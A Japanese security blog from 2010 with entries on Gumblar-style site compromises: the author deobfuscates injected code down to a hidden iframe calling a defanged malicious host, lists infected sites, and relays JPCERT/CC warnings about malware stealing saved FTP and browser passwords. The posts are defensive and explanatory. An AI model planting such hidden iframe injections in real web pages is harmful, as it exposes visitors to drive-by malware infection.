暇つぶし ― 2010/02/03 20:42
2010.02.03 恵方巻 - UnderForge of Lack
日本だと無報酬で連絡しても、荒らしだとか脅迫だとか営業妨害だとか言われて叩かれるんだぜ!
いや、頼まれてないのに連絡するからか?……
で、元を難読化解除してみたら、さらに難読化されたコードが……なんじゃこりゃ
最終的に出てきたのは
さて、これはシマンテック的にガンブラーと分類するべきかなぁ?w
な・・なんじゃこりゃ
URGENT! Help needed w/ Virus
また新しいタイプですね・・・
デコードする時間がなかったのでこのまま・・
We need immediate help fixing the problem. We are willing to pay for freelance work.
日本だと無報酬で連絡しても、荒らしだとか脅迫だとか営業妨害だとか言われて叩かれるんだぜ!
いや、頼まれてないのに連絡するからか?……
で、元を難読化解除してみたら、さらに難読化されたコードが……なんじゃこりゃ
最終的に出てきたのは
<iframe height=2 border=0 src='http://4ura●us/in.cgi?6' width=4 frameborder=0></iframe>
正月のアレの仲間か?……さて、これはシマンテック的にガンブラーと分類するべきかなぁ?w
書き込み規制中 ― 2010/02/03 22:40
某掲示板、また規制か!
コメントもらったので某スレに転載しようとして失敗。orz
アサヒネットの場合、規制の合間に書き込める期間があるような感じ……
ここに置いとけば、誰か転載してくれるかもとw
コメントもらったので某スレに転載しようとして失敗。orz
アサヒネットの場合、規制の合間に書き込める期間があるような感じ……
ここに置いとけば、誰か転載してくれるかもとw
某掲示板に書こうと思ったら、巻き込み規制を喰らっていたので・・・ ・海保エミリ(公式サイト) tp://emilykaiho●com/en/home●html tp://emilykaiho●com/home●html ※stardustの連鎖と思われます
保存したアカウント情報を盗むマルウエア(いわゆるガンブラー)に注意 ― 2010/02/03 23:42
FTP アカウント情報を盗むマルウエアに関する注意喚起 - セキュリティホール memo
FTP アカウント情報を盗むマルウエアに関する注意喚起 - JPCERT/CC Alert 2010-02-03
IE 6とOperaは対策があるまで記憶させたパスワードを消した方がいいかと思います。
あくまで、(↑は)出し抜かれた時の保険であって対策ではないのでご注意を。
つうか、IE 6/7はそろそろあきらめろと
追記:
GumblarウィルスがOperaを標的に。Operaでマスターパスワードを使ってない人は今すぐ設定すること。 - 言いたい放題 - チーム俺等
セキュリティホール memoで指摘されていますが、
まあ、マスターパスワードを使ってないカモはいくらでもいるので、多分大丈夫なのでしょうけれど……心配性の戯言とでも思ってください。
パスワード保存しない派なので、恥ずかしながらあの騒動まで「マスターパスワード」はパスワードを覚えさせた時の身内避けくらいにしか思ってなかったです。orz
(マスターパスワードがないと復号できないとは知らなかった)
FTPソフトに加えIE6では「オートコンプリート」のアカウント情報も流出 - @IT
追記 - セキュリティホール memo
IE PassView - Password Manager Program for Internet Explorer
PasswordFox - Reveal the user names/passwords stored in Firefox
というソフトがあるので、IE 7/8やFirefoxだからといって安心してられないそうです。
これを貼れと言われた気がしたw
WinSCP が含まれている点が重要ですかね。マルウェアによって「ユーザのコンピュータ内に保存されているアカウント情報が読み取られ」るため、通信を暗号化したところで意味がないと。
FTP アカウント情報を盗むマルウエアに関する注意喚起 - JPCERT/CC Alert 2010-02-03
上記に加えて、以下の Web ブラウザのアカウント管理機能を用いて保存され ている情報をマルウエアが窃取し、外部サーバに送信している事を確認しまし た。
- Microsoft社 Internet Explorer 6
(Internet Explore 7 および 8 ではアカウント窃取は確認されておりません)
- Opera社 Opera 10.10
IE 6とOperaは対策があるまで記憶させたパスワードを消した方がいいかと思います。
あくまで、(↑は)出し抜かれた時の保険であって対策ではないのでご注意を。
つうか、IE 6/7はそろそろあきらめろと
追記:
GumblarウィルスがOperaを標的に。Operaでマスターパスワードを使ってない人は今すぐ設定すること。 - 言いたい放題 - チーム俺等
セキュリティホール memoで指摘されていますが、
「マスターパスワード機能」が有効な場合でも駄目なのか、どうなのか……。キーロガーと結合していたりすると駄目だろうしなあ。
まあ、マスターパスワードを使ってないカモはいくらでもいるので、多分大丈夫なのでしょうけれど……心配性の戯言とでも思ってください。
パスワード保存しない派なので、恥ずかしながらあの騒動まで「マスターパスワード」はパスワードを覚えさせた時の身内避けくらいにしか思ってなかったです。orz
(マスターパスワードがないと復号できないとは知らなかった)
FTPソフトに加えIE6では「オートコンプリート」のアカウント情報も流出 - @IT
追記 - セキュリティホール memo
現時点において知られているマルウェアでは、Opera で「マスターパスワード機能」を有効にしていれば、パスワードは漏洩しないそうです。しかしユーザ名や接続先は漏洩してしまうそうです。
(中略)
PasswordFox (NirSoft) という姉妹品もありますから、Firefox なら安心などという幻想を持つのはやめましょう。
というわけで「マスターパスワード機能」は、現時点では有効な軽減策ではあります。しかしそれに安心せずに、マルウェアに罹らないための対処 (OS / アプリの更新と、セキュアな設定・運用) を行いましょう。
IE PassView - Password Manager Program for Internet Explorer
It supports all versions of Internet Explorer, from version 4.0 and up to 8.0.
PasswordFox - Reveal the user names/passwords stored in Firefox
というソフトがあるので、IE 7/8やFirefoxだからといって安心してられないそうです。
ヘ(^o^)ヘ いいぜ |∧ / / (^o^)/ Firefox なら安心 /( ) と思ってるなら (^o^) 三 / / > \ (\\ 三 (/o^) < \ 三 ( / / く まずはそのふざけた 幻想をぶち殺す
これを貼れと言われた気がしたw
最近のコメント